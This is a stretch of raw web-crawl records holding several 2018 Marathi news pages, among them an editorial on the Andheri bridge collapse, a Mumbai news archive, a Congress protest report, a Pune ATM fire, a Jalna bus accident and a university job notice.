केली जाते. त्यापेक्षा एकदाच उपनगरीय रेल्वेचा सर्व्हे करून कोणकोणत्या सुविधा अपेक्षित आहेत, याचा आढावा घेऊन तरतूद करण्यात यावी. अंधेरी रेल्वे पूल दुर्घटनेची उच्चस्तरीय चौकशी करून दोषींवर कडक कारवाई करावी, मुंबईकरांना बुलेट ट्रेनची नाही तर सुरक्षित लोकल प्रवासाची गरज आहे अशी मागणी मुंबईकरांकडून होत आहे.\nमुंबईतील खरी मेख अशी आहे की , येथील कोणते रस्ते, पूल कुणाच्या देखरेखेखाली असतात हेच कळत नाही. त्यामुळे एकमेकांवर आरोप-प्रत्यारोप करून वेळ मारून नेणे सोपे झाले आहे. आता पावसाळ्यापूर्वी केलेल्या कामांची माहिती त्या त्या ठिकाणी दर्शवणारे फलक लावले पाहिजेत. त्यासाठी झालेला खर्चही दाखवला पाहिजे. म्हणजे सर्वसामान्य जनतेचा पैसा कसा वाया जातो, हे लोकांच्या लक्षात येईल. पावसाळ्यापूर्वी ‘ओव्हरलोडेड’ मुंबईतील पुलांची तपासणी होणे गरजेचे आहे. परंतु तहान लागल्याशिवाय आम्ही विहीर खोदत नाही त्यामुळे अपघात झाल्याशिवाय सरकारला जाग येत नाही, अशी अवस्था आहे. रेल्वे प्रशासन, महापालिका प्रशासन, एमएमआरडीए आणि राज्य सरकार मुबंईकरांच्या जीवाशी खेळत आहे, असे म्हटल्यास वावगे ठरू नये. कारण इथल्या समस्या काय आहेत, हे वर्षानुवर्षे माहीत असूनही त्यावर ठोस उपाययोजना केली जात नाही. अजूनही आपण इंग्रजांच्या काळातील रस्ते, पूल, पादचारी पूल आणि रेल्वे स्थानके वापरत आहोत. मग आपण गेल्या ७० वर्षांत काय केले, असा प्रश्न उपस्थित होतो. अपघात घडला की तात्पुरती मलमपट्टी केली जाते, पण जखम कमी होण्याऐवजी आणखीनच चिघळत जाते. मुंबईकरांची ही जखम तेव्हाच भरून निघेल जेव्हा यावर ठोस उपाय केले जातील. मात्र, ही जबाबदारी प्रत्येक यंत्रणेने उचलण्याची गरज आहे. राजकारणी लोक समंजसपणा दाखवत नसल्यामुळेच कर्तव्यदक्षतेचा अभाव असल्यामुळे रेल्वेचे पूल कोसळत आहेत, रस्ते खचत आहेत. लोक खड्डय़ांत आणि गटारात पडत आहेत.\nरेल्वेमार्ग, विद्युत उपकरणे, उच्च दाबाची विजेची तार याची देखभाल करता यावी म्हणून मुंबईत पश्चिम आणि मध्य रेल्वे शनिवार-रविवार मेगा ब्लॉक घेत असते, मात्र ज्या प्रमाणात रूळ, विजेच्या तारा किंवा गाडीच्या यंत्रणा यांची देखभाल केली जाते त्या प्रमाणात पूल आणि बोगदे यांच्या सुरक्षेकडे पुरेसे लक्ष दिले जात नाही. मुंबई महापौरांच्या म्हणण्यानुसार मुंबई महापालिका यासाठी कोटय़वधी रुपये रेल्वेला देत असते. हे पैसे देऊनही रेल्वे पुलांच्या सुरक्षेकडे दुर्लक्ष करते असे आढळून आल्यास मुंबई महापालिकेने रेल्वेला पैसे देण्यापेक्षा लोहमार्गांवरील पुलांची तपासणी आणि डागडुजी महापालिकेकडे असलेल्या तज्ञ अभियंत्यांकडून तपासून योग्य ती कारवाई करावी.\nमुंबई व उपनगरांतील सर्व रेल्वे पादचारी पूल, उड्डाणपूल, नदी-समुद्रावरील पूल, बोगदे यांचे कायमस्वरूपी तपासणीसाठी गस्ती पथक, वारंवार दुरुस्ती व देखभाल, किमान वर्षातून एकदा ऑडीट यासाठी एक कायम स्वतंत्र यंत्रणा उभारणे गरजेचे आहे. तसेच सर्व यंत्रणांमध्ये समन्वय असणे आवश्यक आहे. नैसर्गिक आपत्ती या येतच राहणार. परंतु त्यांच्यापासून सुरक्षित राहण्यासाठी आपल्याकडे योग्य अशा व्यवस्थापनाची आवश्यकता असेल तर मनुष्यहानी व वित्तहानी टाळता येईल.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलपुणे शहरात दुधाचा पुरवठा ‘अटला’\nपुढीलकोल्हापूर जिल्ह्याला अखेर महापूराने गाठले\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00190.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/mumbai/page/32", "date_download": "2018-09-25T17:42:45Z", "digest": "sha1:IEVWVYCH4WGNQRPOD7Q4T5YSYLOXNLQ7", "length": 9467, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "मुंबई Archives - Page 32 of 251 - तरुण भारत | तरुण भारत", "raw_content": "\nएकाच कुटुंबातील पाच जणांचा आत्महतेचा प्रयत्न\nऑनलाईन टीम / अलिबाग : आक्षी येथे एकाच कुटुंबातील पाच जणांनी आत्महत्येचा प्रयत्न केल्याची घटना आज घडली आहे. पाचही जणांची प्रकृती गंभीर असून त्यांच्यावर अलिबागमधील जिल्हा रूग्णालयात उपचार सुरू आहेत. यातील दोन लहान मुलांची प्रकृती चिंताजनक आहे. अलिबाग तालुक्मयातील आक्षी येथे राहणाऱया एकाच कुटुंबातील पाच जणांनी आत्महत्येचा प्रयत्न केला. त्यांनी शितपेयातून विष घेतल्याचा संशय आहे. यात दोन लहान मुलांचा ...Full Article\nअंधेरी पूल दुर्घटनेला कोणीच जबाबदार कसे नाही-हायकोर्ट\nऑनलाईन टीम / मुंबई : अंधेरी पूल दुर्घटनेला कोणीच जबाबदार कसे नाही, असा सवाल मुंबई हायकोर्टाने उपस्थित केला आहे. मुंबईमधील अंधेरीतील गोखले पूल मंगळवारी सकाळच्या सुमारास कोसळला होता. सुदैवाने ...Full Article\nआरोप मागे घ्या, प्रसाद लाड यांची पृथ्वीराज चव्हाण यांना नोटीस\nऑनलाईन टीम / मुंबई : भाजपा आमदार प्रसाद लाड यांनी काँग्रेसचे नेते आणि माजी मुख्यमंत्री पृथ्वीराज चव्हाण आणि मुंबई काँग्रेसचे अध्यक्ष संजय निरूपम यांना कायदेशीर नोटीस पाठवली आहे. नवी ...Full Article\nमुंबईतील ग्रँट रोड स्थानकाजवळील पुलाला तडे\nऑनलाईन टीम / मुंबई : दक्षिण मुंबईतील ग्रँट रोड स्थानकाजवळ असलेल्या पुलाला तडे गेल्याची समोर आले आहे. हा पुल ग्रँट रोड आणि नाना चौकला जोडणार आहे. खबरदारी म्हणून पोलिसांनी ...Full Article\nबालसंगोपनासाठीही आता सहा महिन्यांची पगारी रजा मिळणार\nऑनलाईन टीम / मुंबई प्रसुती रजेनंतर आता मुलांच्या संगोपनासाठीही महिलांना 180 दिवसांच्या पगारी रजा देण्याचा निर्णय राज्य सरकारने मंत्रिमंडळ बैठकीत घेतला आहे. तसेच बायकोचे निधन झालेल्या पुरूषांनाही मुलांच्या पालनपेषणासाठी ...Full Article\nबिल्डरों का हाथ, बीजपी के साथ – धनंजय मुंडेंचा सरकारवर हल्लाबोल\nऑनलाईन टीम / मुंबई : शेतकरी प्रश्न, नाणार प्रकल्प, प्लास्टिक बंदी आदी विविध प्रश्नांवरून राष्ट्रवादी काँग्रेसचे नेते आणि विधान परिषदेतील विरोधी पक्षनेते धनंजय मुंडे यांनी राज्य सरकारवर घणाघाती शब्दांत ...Full Article\nशिवसेना नगरसेवकाची मनसे महिला विभाग अध्यक्षाच्या पतीला मारहाण\nऑनलाईन टीम / मुंबई : मनसे महिला विभाग अध्यक्षाच्या पतीला शिवसेना नगरसेवकाने मारहाण केल्याची घटना कल्याणमध्ये घडली आहे. गाडी घेऊन जाण्यास मनाई केल्याचा जाब विचारणाच्या कारणांवरून ही मारहाण करण्यात ...Full Article\nमुंबईकरांचे रात्रीपर्यंत हाल, लोकलसेवा पूर्ववत होण्यास मध्यरात्र होणार\nऑनलाईन टीम / मुंबई : पश्चिम रेल्वेच्या अंधेरी स्थानकाजवळ असलेल्या पुलाचा भाग रेल्वे रूळावरून कोसळल्याने रेल्वे वाहतूक पूर्णपणे ठप्प झाली आहे. पश्चिम रेल्वेची वाहतूक खंडीत झाल्याने ऑफिसला जाणाऱया कर्मचाऱयांचा ...Full Article\nबुलेट ट्रेनच्या घोषणा पुरे ; आधी लोकल सेवा सुरक्षित करा : निरूपम\nऑनलाईन टीम / मुंबई : बुलेट ट्रेनच्या गप्पा पुरे, आधी लोकल सेवा सुरक्षित करा, अशा शब्दांमध्ये काँग्रेसचे अध्यक्ष संजय निरूपम यांनी अंधरेतील पूल दुर्घटनेवरून रेल्वेमंत्री पीयुष गोयल यांच्यावर निशाणा ...Full Article\nअंधेरीतील दुर्घटनेसाठी रेल्वेच जबाबदार : महापौर\nऑनलाईन टीम / मुंबई : अंधेरी पूर्व आणि पश्चिमेला जोडणाऱया गोखले पुलाच्या दुरावस्थेवरुन रेल्वे प्रशासन आणि मुंबई महापालिकेत जुंपण्याची चिन्हे आहेत. गोखले पुलाच्या देखभाल- दुरुस्तीची जबाबदारी रेल्वेची असून या ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00190.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/news/cong-agitaion-at-ec-office-277042.html", "date_download": "2018-09-25T17:15:46Z", "digest": "sha1:TKUGV7MEFVXGS74NBNY6M4FJICTLSWLK", "length": 13757, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "दिल्लीत काँग्रेस कार्यकर्त्यांचा निवडणूक आयोगाच्या कार्यालयाला घेराव !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nदिल्लीत काँग्रेस कार्यकर्त्यांचा निवडणूक आयोगाच्या कार्यालयाला घेराव \nपंतप्रधानांनी निवडणूक आचारसंहितेचा भंग केल्याची तक्रार करत काँग्रेस कार्यकर्त्यांनी निवडणूक आयोगावर मोर्चा काढला एवढंच नाहीतर निवडणूक आयोगाच्या कार्यालयाला घेराव देखील घातला\n14 डिसेंबर, नवी दिल्ली : गुजरातच्या निवडणुकीचे पडसाद आता राजधानी दिल्लीतही उमटलेत, पंतप्रधान नरेंद्र मोदींनी मतदान केल्यानंतर परत जाताना गुजरातमध्ये रोड शो केला आणि इकडे दिल्लीत वादळ निर्माण झालं. पंतप्रधानांनी निवडणूक आचारसंहितेचा भंग केल्याची तक्रार करत काँग्रेस कार्यकर्त्यांनी निवडणूक आयोगावर मोर्चा काढला एवढंच नाहीतर निवडणूक आयोगाच्या कार्यालयाला घेराव देखील घातला. पण पोलिसांनी तात्काळ आंदोलकांना ताब्यात घेतलं आणि नंतर सोडून दिलं. निवडणूक आयोग केंद्र सरकारच्या हातातलं बाहुलं झालं असल्याचा आरोप काँग्रेसनं केलाय तर भाजपच्या ज्येष्ठ नेत्यांनी आयोगात धाव घेत आपलं म्हणणं सादर केलं.\nराहुल गांधींनी साधी मुलाखत दिली तर आयोग त्यांना कारणेदाखवा नोटीस पाठवतं पण त्याचवेळी पंतप्रधान मोदींनी मतदानाच्या दिवशी रोड शो करूनही आयोग त्यांच्यावर काहीच कारवाई का करत नाही असा सवाल काँग्रेसने उपस्थित केलाय. पंतप्रधानांच्या राजकीय दबावामुळेच आयोग भाजपविरोधात कारवाई करत नसल्याचा आरोप काँग्रेसने केलाय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: cong gheraoec officeकाँग्रेस घेरावनिवडणूक आयोग\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00190.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.maharashtracitynews.com/fire-at-pune-atm/", "date_download": "2018-09-25T16:52:27Z", "digest": "sha1:JI7QEAGLHH33LICLGBUM2BSFRPNN2OWC", "length": 12134, "nlines": 226, "source_domain": "www.maharashtracitynews.com", "title": "पुण्यातील वारजे परिसरात एटीएमला आग | Top Latest Marathi News Online", "raw_content": "\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\n67 प्रवाशांना घेऊन जाणारं बांगलादेशी विमान नेपाळमध्ये कोसळलं\nKisan Long March: सरकारला चुका सुधारण्याची शेवटची संधी- शरद पवार\nKisan Long March Live: शेतकऱ्यांचे शिष्टमंडळ-मंत्रिगटाच्या बैठकीत खलबतं सुरू\nKisan Long March: जाणून घ्या 166 किलोमीटरची पायपीट करून आलेल्या शेतकऱ्यांच्या 13 प्रमुख मागण्या\nमुंबईच्या वेशीवर किसान मोर्चा \nHome/महाराष्ट्र /पुणे/पुण्यातील वारजे परिसरात एटीएमला आग\nपुण्यातील वारजे परिसरात एटीएमला आग\nवारजे गणपती माथा परिसरातील आयसीआयसीआय बँकेचे एटीएम जळून खाक झाले आहेत\n0 88 एका मिनिटापेक्षा कमी\nपुणे: पुण्यातील वारजे परिसरात गुरुवारी मध्यरात्री इलेक्ट्रिक दुकान आणि एटीएम सेंटरला भीषण आग लागली. यात मोठे नुकसान झाले आहे. एटीएममधील लाखो रुपये जळून खाक झाले असल्याचे सांगितले जाते. आग आटोक्यात आणण्यात अग्निशमन दलाच्या जवानांना यश आले आहे.\nवारजे परिसरातील गणेश माथ्याजवळ इलेक्ट्रिक दुकान आणि त्याला लागूनच एका बँकेचे एटीएम सेंटर आहे. इलेक्ट्रीक दुकानाला मध्यरात्रीच्या सुमारास आग लागली. काही वेळातच आग पसरली आणि तिने एटीएम सेंटरलाही कवेत घेतले. एटीएममधील रोकडही जळून खाक झाल्याचे सांगण्यात येत आहे. घटनेची माहिती मिळताच अग्निशमन दलाचे जवान घटनास्थळी पोहोचले. त्यांनी आग विझवली आहे. एटीएममध्ये गुरुवारीच पैशांचा भरणा केला होता. त्यामुळे लाखो रुपये जळून खाक झाले असावेत, असे काही प्रत्यक्षदर्शींनी सांगितले. दरम्यान, गेल्या आठवड्यातच सहकारनगरमधील जनता सहकारी बँकेच्या एटीएमला आग लागली होती.\nFirangi Movie Review : ​बोअर करतो ‘फिरंगी’,कपिल शर्माचा ‘अ‍ॅव्हरेज ड्रामा’\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nKisan Long March Live: शेतकऱ्यांचे शिष्टमंडळ-मंत्रिगटाच्या बैठकीत खलबतं सुरू\nKisan Long March: जाणून घ्या 166 किलोमीटरची पायपीट करून आलेल्या शेतकऱ्यांच्या 13 प्रमुख मागण्या\nKisan Long March: जाणून घ्या 166 किलोमीटरची पायपीट करून आलेल्या शेतकऱ्यांच्या 13 प्रमुख मागण्या\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n19 /04 /2018 बुटीबोरी ग्रामपंचायत आता बुटीबोरी नगर परिषद .आ.\n18 /04/ 2018 विक्रमी वेळेत महाराष्ट्र हागणदारीमुक्त,\nकठुआ बलात्कार प्रकरण - पीडितेच्या कुटुंबियांना आणि\nतुमचा इमेल पत्ता लिहा\n11 गोदामांना भीषण आग लागली, भिवंडीत .\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00191.warc.wet.gz", "language": "mr", "language_score": 0.77, "bucket": "all"} {"url": "http://www.pudhari.news/news/Jalna/accident-in-jalna/", "date_download": "2018-09-25T17:39:10Z", "digest": "sha1:TGYTLLXURJTV5LSHCEC5UU2N6APGCIJ6", "length": 4788, "nlines": 38, "source_domain": "www.pudhari.news", "title": " एसटी बसने दुचाकीला उडवले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Jalna › एसटी बसने दुचाकीला उडवले\nएसटी बसने दुचाकीला उडवले\nअंबड तालुक्यातील वडीगोद्री टीपॉइंटवर जालन्याहून बीडकडे भरधाव शिवशाही बसने रस्ता ओलांडून पलीकडे जाणार्‍या दुचाकीला उडवले. या अपघातात दोन जण गंभीर जखमी झाले. हा अपघात गुरुवारी दुपारी 3:30 च्या दरम्यान झाला.\nजालन्याहून बीडकडे जाणारी जळगाव लातूर शिवशाही (क्रमांक एमएच-18 बीजी 0870) ने वडीगोद्री टी पॉइंटवर पेट्रोल पंपाकडे जाणार्‍या दुचाकी (क्रमांक एमएच 21 ए वाय 3843) ला धडक दिली.\nया अपघातात राम पंडित तारख (32) व बळीराम नारायण अंबिलवादे (30, दोघेही रा. अंतरवाली सराटी) हे गंभीर जखमी झाले. अपघातानंतर शिवशाही बस न थांबताच निघून गेली, मात्र पोलिसांना फोन केल्यामुळे तिला महाकाळा पाटी येथे अडवले.\nत्यानंतर शहागड चौकीत लावण्यात आली. यावेळी गंभीर जखमीस वडीगोद्री येथील प्राथमिक आरोग्य केंद्र येथील रुग्णवाहिनीने जालन्यातील एका खासगी रुग्णालयात हलविण्यात आले. वृत्त लिहीपर्यंत शिवशाही बस चालकाचे नाव कळू शकले नसून पोलिस ठाण्यात कोणतीही फिर्याद दाखल नव्हती.\nवडीगोद्री टी पॉइंटवर पुलाचे काम चालू असल्याने रस्ता अरुंद असून वळण असल्याने येणारे वाहन दिसत नसल्याने अपघातात वाढ होत चालली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00191.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.mahanmk.com/recruitment/mpkv-rahuri-ahmednagar-recruitment-16042018.html", "date_download": "2018-09-25T17:06:04Z", "digest": "sha1:YCEO47PZNYJRP5IFW76ABTMTDHJAIKGX", "length": 6247, "nlines": 101, "source_domain": "www.mahanmk.com", "title": "महात्मा फुले कृषी विद्यापीठ [MPKV] राहुरी, अहमदनगर येथे 'कुशल मदतनीस' पदांच्या ०२ जागा", "raw_content": "\nमहात्मा फुले कृषी विद्यापीठ [MPKV] राहुरी, अहमदनगर येथे 'कुशल मदतनीस' पदांच्या ०२ जागा\nमहात्मा फुले कृषी विद्यापीठ [MPKV] राहुरी, अहमदनगर येथे 'कुशल मदतनीस' पदांच्या ०२ जागा\nमहात्मा फुले कृषी विद्यापीठ [Mahatma Phule Krishi Vidyapeeth (MPKV), Rahuri Ahmednagar] राहुरी, अहमदनगर येथे 'कुशल मदतनीस' पदांच्या ०२ जागांसाठी पात्र उमेदवारांकडून अर्ज मागवण्यात येत असून अर्ज पोहचण्याची अंतिम दिनांक २० एप्रिल २०१८ आहे. सविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nअधिक माहिती खालीलप्रमाणे :\nवेतनमान (Pay Scale) : ८,०००/- रुपये\nनोकरी ठिकाण : राहुरी, अहमदनगर\nअर्ज पाठविण्याचा पत्ता : मुख्य प्लांट पॅथॉलॉजी विभाग आणि ऍग्रीली मायक्रोबायोलॉजी, एमपीके व्ही. राहुरी.\nटीप: आपले वय मोजण्याकरिता Age Calculator चा वापर करावा.\nफॉर्म भरण्याचा अंतिम दिनांक : 20 April, 2018\nNote: नवीन जाहिरातींचे सर्वात जलद अपडेट्स मिळवण्यासाठी \"www.MahaNMK.com\" या संकेतस्थळाला दररोज भेट द्या\n〉 नगरपरिषद देऊळगाव राजा, जि. बुलढाणा येथे 'वीजतंत्री' पदांची ०१ जागा\n〉 श्री गुरु गोबिंद सिंहजी इंजिनीअरिंग अँड टेक्नॉलॉजी, नांदेड येथे 'रिसर्च फेलो' पदांच्या जागा\n〉 कॅन्टोनमेंट बोर्ड देवळाली येथे 'सहाय्यक आरोग्य निरीक्षक' पदांच्या ०२ जागा\n〉 लोणार नगर परिषद [Lonar Nagar Parishad] बुलढाणा येथे 'स्थापत्य अभियंता' पदांची ०१ जागा\n〉 भारत हेवी इलेक्ट्रिकल लिमिटेड [BHEL] नागपूर येथे 'अर्धवेळ वैद्यकीय सल्लागार' पदांची ०१ जागा\n〉 झारखंड उच्च न्यायालय [Jharkhand High Court] रांची येथे विविध पदांच्या ७३ जागा\n〉 शासकीय अध्यापक महाविद्यालय मुंबई येथे 'सहायक प्राध्यापक' पदांच्या ०४ जागा\n〉 सोलापूर जिल्हा मध्यवर्ती सहकारी बँक मर्यादित येथे 'संगणक सल्लागार' पदांच्या जागा\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 RRB भारतीय रेल्वेच्या ग्रुप-डी 